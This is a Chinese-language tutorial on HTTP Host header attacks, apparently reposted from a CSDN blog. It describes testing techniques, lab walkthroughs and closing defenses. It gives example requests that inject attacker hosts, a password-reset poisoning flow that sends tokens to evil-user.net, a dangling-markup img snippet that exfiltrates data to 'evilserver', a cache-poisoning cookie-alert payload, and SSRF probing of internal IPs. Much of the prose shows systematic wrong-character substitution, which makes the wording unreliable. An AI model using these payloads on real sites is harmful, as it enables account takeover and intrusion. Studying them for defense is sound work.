关于java:HTTP-Host-头攻击这是什么鬼

42次阅读

共计 7599 个字符,预计需要花费 19 分钟才能阅读完成。

1. HTTP Host 头攻打

从 HTTP / 1.1 开始,HTTP Host 标头是必须的申请标头。它指定客户端要拜访的域名。例如,当用户拜访 https://example.net/web-security 时,其浏览器将组成一个蕴含 Host 标头的申请,如下所示:

GET /web-security HTTP/1.1
Host: example.net

在某些状况下,例如当申请由代理转发时,Host 值可能会在达到预期的后端组件之前进行更改。也就产生了 Host 头攻打。

2. HTTP Host 头的作用

HTTP Host 头的目标是帮忙辨认客户端要与之通信的后端组件。如果申请不蕴含 Host 头或者格局不正确,则在将传入申请的应用程序时可能会导致问题。

从历史上看,这种破绽并不存在太大问题,因为每个 IP 地址只会被用于单个域的内容。现在,很大水平上是因为同一个 IP 上存在多个 Web 应用程序(不同端口,不同域名解析等),通常能够在同一 IP 地址拜访多个网站和应用程序。这种办法的遍及也局部是因为 IPv4 地址耗尽所致。

当能够通过同一 IP 地址拜访多个应用程序时,最常见的起因是以下状况之一:

  • 虚拟主机

单个 Web 服务器托管多个网站或应用程序。这可能是具备单个所有者的多个网站,然而也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共 IP 地址。

  • 通过代理路由流量

网站托管在不同的后端服务器上,然而客户端和服务器之间的所有流量都通过代理零碎进行路由。这可能是一个简略的负载平衡设施或某种反向代理服务器。在客户通过内容散发网络(CDN)拜访网站的状况下,这种设置尤其广泛。

在下面两种种状况下,即便网站托管在独自的后端服务器上,它们的所有域名也都解析为两头组件的单个 IP 地址。这带来了与虚拟主机雷同的问题,因为反向代理或负载平衡须要晓得每个申请到的哪个后端上。

HTTP Host 头的作用就在于,指定申请应该发送到那个应用程序的后端服务器上。打个比方,一封信须要送到寓居在公寓楼中的某人手中,整个公寓有许多房间,每个房间都能够承受函件,通过指定房间号和收件人(也就是 HTTP Host 头)来将信封送到指定的人手中。

3. 什么是 HTTP Host 头攻打

一些网站以不平安的形式解决 Host 头的值。如果服务器间接信赖 Host 头,未校验它的合法性,则攻击者可能可能应用此可控变量来注入 Host,以操纵服务器端的行为。

现成的 Web 应用程序通常不晓得将它们部署在哪个域上,除非在装置过程中在配置文件中手动指定了该域。例如,当他们须要晓得以后域以生成电子邮件中蕴含的相对 URL 时,他们可能依赖于 Host 头中的值:

<a href="https://_SERVER['HOST']/support"> 分割反对 </a>

Host 头值还能够用于不同网站零碎之间的各种交互。

因为 Host 头实际上是用户可管制的,因而这种做法可能导致许多问题。如果未校验或者间接应用 Host 头,则 Host 头能够与一系列其余破绽“组合拳”攻打,比方:

  • 缓存投毒
  • 非凡业务性能的逻辑破绽
  • 基于路由的 SSRF
  • 经典服务端破绽,如 SQL 注入(当 Host 被用于 SQL 语句时)等

4. 如何挖掘 HTTP Host 头攻打

首先要判断服务端是否检测 Host 头?检测完了是否还应用 Host 头的值?

通过批改 Host 的值,如果服务端返回错误信息:

则阐明服务端检测了 Host 的内容。至于有没有应用 Host 头的值,有以下几种办法去挖掘:

批改 Host 值

简略的来说,能够批改 HTTP 头中的 Host 值,如果察看到响应包中含有批改后的值,阐明存在破绽。

但有时候篡改 Host 头的值会导致无法访问 Web 应用程序,从而导致“有效主机头”的错误信息,特地是通过 CDN 拜访指标时会产生这种状况。

增加反复的 Host 头

增加反复的 Host 头,通常两个 Host 头之中有一个是无效的,能够了解为一个是确保申请正确地发送到指标服务器上;另一个则是传递 payload 到后端服务器中。

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff

应用绝对路径的 URL

只管许多申请通常在申请域上应用相对路径,然而也同时配置了相对 URL 的申请。

GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff

有时候也能够尝试不同的协定,如 HTTP 或 HTTPS。

增加缩进或换行

当一些站点 block 带有多个 Host 头的申请时,能够通过增加缩进字符的 HTTP 头来绕过:

GET /example HTTP/1.1
 Host: attack-stuff
Host: vulnerable-website.com

注入笼罩 Host 头的字段

与 Host 头性能相近的字段,如 X -Forwarded-Host、X-Forwarded-For 等,这些有时候是默认开启的。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff

诸如此类,还有其余的字段:

  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

疏忽端口仅校验域名

当批改、增加反复 Host 头被拦挡的时候,能够尝试理解 Web 应用程序是怎么解析 Host 头的。

比方,一些解析算法会疏忽 Host 头中的端口值,仅仅校验域名。这时候能够将 Host 批改为如下模式:

GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff

放弃域名不变,批改端口值为非端口号的其余值(非数字),将 Host 头攻打的 payload 放在端口值处,同样能进行 Host 头攻打。

5. HTTP Host 头攻打破绽示例

5.1 明码重置中毒

依据 HTTP Host 头攻打的攻打特点,它被广泛应用于明码重置中毒:攻击者能够操纵网站在重置明码状况下生成的明码重置链接,使其发送攻击者指定的域下,利用此来窃取重置任意用户明码的令牌。

一个重设明码(遗记明码)性能的大抵流程如下:

  1. 用户输出其用户名或电子邮件地址,而后提交明码重置申请。
  2. 该网站查看该用户是否存在,而后生成一个长期的、惟一的、简单的令牌,该令牌与后端的用户帐户相关联。
  3. 该网站向用户发送一封电子邮件,其中蕴含用于重置其明码的链接。重置令牌的参数蕴含在相应的 URL 中:
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
  1. 当用户拜访此 URL 时,网站将查看提供的令牌是否无效,并应用它来确定要重置哪个帐户。如果所有都合乎,则能够进入用户重置明码步骤。最初,令牌被销毁。

以上步骤的安全性依赖于:只有指标用户能力拜访其电子邮件,从而能够拜访其惟一的令牌。

明码重置中毒是窃取此令牌以更改另一个用户明码的一种破绽。

如果网站重置明码的流程齐全依赖用户的可控输出(如 HTTP Host 头),这可能导致明码重置中毒:

  1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置明码的申请,攻击者会拦挡申请并批改 HTTP Host 头为其指定的域,如 evil-user.net
  2. 受害者会收到一封重置明码的邮件,但因为攻击者批改了 Host 头,而 web 程序生成重置链接又齐全依赖于 Host 头,导致生成以下 URL:
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
  1. 如果受害者点击了该链接,重置明码的令牌就会发送到攻击者的服务器 evil-user.net 上
  2. 当攻击者获取到虫子明码的令牌之后,就会进行相应的结构拜访实在重置明码的 URL 进行明码重置。
5.1.1 明码重置中毒—根底

具体理解了下面的明码重置中毒的流程和原理之后,这里通过 HTTP Host 头攻打导致的根底的明码重置中毒来演示。

首先输出用户名或者用户的电子邮箱来重置指定用户的明码:

提交之后,会发送一封重置明码的电子邮件到 wiener 用户的邮箱中(数据包如右图):

留神重置明码的链接,可能是受 Host 头的值的影响?

咱们来验证一下是否存在 HTTP Host 头攻打,批改 Host 头的值为 baidu.com:

发现申请是能够被后端服务器接管的,所以是存在 HTTP Host 头攻打的。

这里就输出受益用户 carlos 进行重置明码,而后抓包将 Host 头的值改为咱们本人的服务器:

而后在咱们本人的服务器上就能够通过拜访日志看到被窃取的重置明码 Token:

而后依据已知链接法则,结构重置明码的链接:

https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7

随即进入输出新密码的界面,明码重置中毒胜利。

5.1.2 明码重置中毒—注入笼罩 Host 头的字段

有时候间接批改 Host 头、增加反复 Host 头的值以及混同 Host 头都不行:

能够尝试应用与 Host 头性能雷同的 HTTP 字段,如 X -Forwarded-Host、X-Forwarded-For 等,能够进行 Fuzz:

实际上他可能被 X-Forwarded-Host 字段影响,导致 Host 头攻打,当同时增加多个字段使申请被拦挡时,能够尝试相似排除法、二分法来排查哪个字段无效。

对受益用户 carlos 进行明码重置投毒:

而后结构链接即可:

https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h

5.1.3 重置明码中毒—Dangling Markup 技术

首先简略介绍一下 Dangling Markup 技术:

  • Dangling markup 技术

Dangling markup 技术, 是一种无需脚本即可窃取页面内容的技术,它应用图像等资源 (联合 CSP 运行的策略) 将数据发送到攻击者管制的近程地位。当反射型 XSS 不工作或被内容安全策略(CSP)阻止时,它十分有用。其思维是插入一些未实现状态的局部 HTML,例如图像标记的 src 属性,页面上的其余标记敞开该属性,但同时将两者之间的数据 (蕴含窃取页面的内容) 发送到近程服务器。

例如,咱们在反射型 XSS 注入点上注入这样一个 img 标签:

<img src="https://evilserver/?

则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能蕴含一些敏感信息, 例如 CSRF Token 等, 配合反射型 XSS 以实现 CSRF 的利用。

什么时候能够应用 Dangling Markup 技术 呢?与咱们这篇文章的主题有什么关系呢?

咱们间接进入主题,当输出须要重置明码的用户名后,该用户的邮箱内会收到如下邮箱:

有一个跳转到登录界面的链接,前面紧接着重置之后的随机明码。

此时考虑一下,该链接是否是从 Host 头取值而来?只有这个值可控,那么就能够利用 Host 头攻打施行 Dangling Markup 攻打,蕴含住链接前面紧跟着的明码,再联合 Host 头攻打将申请指定到攻击者服务器上。一个漫天过海的窃取行为就实现了。

  • 第一步,寻找 Host 头攻击点:

通过 Fuzz,可发现 Host 头攻打类型为 疏忽端口仅校验域名。即服务端在校验 Host 域的时候,仅校验了域名,疏忽了前面的端口号,造成端口值可控(能够是数字或字符):

通过在 Host 头的端口中注入 payload,仍旧能够实现 Host 头攻打。

  • 第二步,借助可控变量 Host:ip:port 来施行 Dangling Markup 技术,从而将前面的明码外带到攻击者服务器上:

留神,须要闭合此处的双引号进来,通过尝试,输出单引号时,服务端会主动转为双引号,故这里通过单引号将双引号闭合,而后增加自定的 <a href=xxx.attack-domain> 标签将明码外带:

本来的失常 HTML 是这样的:

通过 Dangling Markup 技术 在 a 标签的链接中注入? 符,使得前面的值在双引号闭合之前全副被当做 URL 参数申请到攻击者服务器上:

这也是 Dangling Markup 技术 的精华所在,该技术的外围点在于:

可控变量前面是否接着须要窃取的要害数据(包含 Token、明码等)

在攻击者服务器上能够看到被 Host 头攻打转发上来的申请,外面胜利窃取了受害者重置后的明码:

5.2 Host 头攻打 + 缓存投毒

当存在 Host 头攻打的 web 站点不存在明码重置的性能的时候,此时该破绽就显得没有影响,因为不可能驱使用户去抓包批改 Host 头,辅助攻击者实现一系列的攻打。

然而,如果指标站点应用 Web 缓存,则能够通过缓存投毒给其余用户提供带有病毒的缓存响应。此时的 Host 头攻打破绽转变为相似 XSS 存储型类的破绽。要结构 Web 缓存投毒攻打:

  1. 须要寻找映射到其余用户申请的缓存键;
  2. 下一步则是缓存此歹意响应;
  3. 而后,此歹意缓存将提供给尝试拜访受影响页面的所有用户。
  • 第一步,寻找 Host 头攻击点:

通过对站点的主页增加反复的 Host 值,能够达到笼罩的成果,并验证存在 Host 头攻打:

  • 第二步,寻找是否应用了 Web 缓存?缓存键是什么?

从上图中也能够发现,站点应用了 Wen 缓存性能,并且配合 Host 头攻打,能够缓存 /resources/js/tracking.js资源文件。

  • 第三步,在攻击者服务器上创立一个同名的 /resources/js/tracking.js资源文件,内容为:
alert(document.cookie);

而后通过 Host 头注入攻击者服务器域名,能够看到在响应中正确地对应了咱们的 /resources/js/tracking.js资源文件:

发送屡次申请,使该申请的响应变为缓存:

当其余用户申请站点主页时,服务端就会提供该歹意缓存给用户,造成缓存投毒。

5.3 Host 头攻打绕过访问控制

出于平安思考,通常网站对某些性能的拜访限度为外部用户应用。然而通过 Host 头攻打肯定可能上能够绕过这些限度。

对于一个站点,从发现 Host 头攻打到利用,上面来展现一个残缺的流程:

  • 第一步,拜访主页,随便批改 Host 的值:

留神,这里的 Host 的值不会呈现响应包中,然而仍然可能存在 Host 头攻打,因为响应仍然胜利,阐明服务端没有对 Host 头做验证。

  • 第二步,寻找敏感页面,通过 /robots.txt 晓得 /admin 为做了访问控制的页面:

能够错误信息提醒,/admin 页面只容许本地用户拜访。

  • 第三步,将 Host 改为服务端外部地址,从而绕过 IP 访问控制:

5.4 Host 头攻打 +SSRF

Host 头攻打可能会导致基于路由的 SSRF 攻打,称为:Host SSRF Attack。

经典的 SSRF 攻打通常基于 XXE 或可利用的业务逻辑,将用户可控的 URL 作为 HTTP 申请发送;而基于路由的 SSRF 依赖于云部署的体系结构中,包含负载平衡和反向代理,这些中间件将申请调配发送到对应的后端服务器解决,如果服务端未校验 Host 头转发的申请,则攻击者可能会将申请发送(重定向)到体系中的任意零碎。

这可能须要晓得外部零碎的 IP 地址(公有地址),个别能够通过信息收集或者 Fuzz 来判断无效的公有 IP 地址(如枚举 192.168.1.1/16)。

5.4.1 根底 Host 头攻打 +SSRF

比方,一般形式拜访不到 /admin 页面(404):

猜想 /admin 存在于内网中,须要内网机器能力拜访,然而配合 Host 头攻打 +SSRF 能够绕过并拜访。

  • 第一步,判断 Host 是否被应用,可用 DNSLog 外带

这里我应用 Burp 自带的“Burp Collaborator client”来实现外带:

阐明服务端是依据 Host 头的域名来申请资源的。

  • 第二步,基于 Host 头的 SSRF 探测内网主机

如果一些敏感的页面(比方治理页面),深处于内网,外网无法访问,然而通过 Host 头攻打 +SSRF 可达到绕过访问控制,从而拜访内网资产,这里 Fuzz 内网的 IP 的 C 段为 192.168.0.0/24,间接利用 Intruder 枚举:

失去内网 IP 为 192.168.0.240

  • 第三步,拜访内网资源

结构 /admin 页面,在 Host 处换位内网 IP:

5.4.2 Host 头攻打 +SSRF—应用绝对路径的 URL

有时候服务端会校验 Host 头的值,如果 Host 被批改,服务端会回绝所有批改过后的申请:

一般申请通常在申请域上应用相对路径,然而,服务端也同时可能配置了相对 URL 的申请,采纳如下模式可绕过对 Host 的验证:

GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1

接着用“Burp Collaborator client”进行外带:

外带胜利,阐明 Host 头被服务端应用来向指定域名申请资源,间接 SSRF 爆破内网:

拜访内网页面:

6 HTTP Host 头攻打防护

最简略的办法是防止在服务器端代码中齐全应用 Host 头,能够只应用绝对 URL。

其余办法包含:

6.1 正确配置相对域名 URL

当必须应用相对域名 URL 时,应在配置文件中手动指定以后域的 URL,并援用配置的值,而不是从 HTTP 的 Host 头中获取。这种办法可避免明码重置的缓存投毒。

6.2 白名单校验 Host 头的域

如果必须应用 Host 头,须要正确校验它的合法性。这包含容许的域,并应用白名单校验它,以及回绝或重定向对无奈辨认的主机申请。这包含但不仅限于单个 web 应用程序、负载平衡以及反向代理设施上。

6.3 不反对主机头笼罩

确保不实用与 Host 头性能相近的字段,如 X -Forwarded-Host、X-Forwarded-For 等,这些有时候是默认开启的。

值得一提的是,不应该将内网应用的 Host 主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵 Host 头来拜访外部域。

原文链接:https://blog.csdn.net/angry_p…

版权申明:本文为 CSDN 博主「angry_program」的原创文章,遵循 CC 4.0 BY-SA 版权协定,转载请附上原文出处链接及本申明。

近期热文举荐:

1.1,000+ 道 Java 面试题及答案整顿(2022 最新版)

2. 劲爆!Java 协程要来了。。。

3.Spring Boot 2.x 教程,太全了!

4.20w 程序员红包封面,快快支付。。。

5.《Java 开发手册(嵩山版)》最新公布,速速下载!

感觉不错,别忘了顺手点赞 + 转发哦!

正文完
 0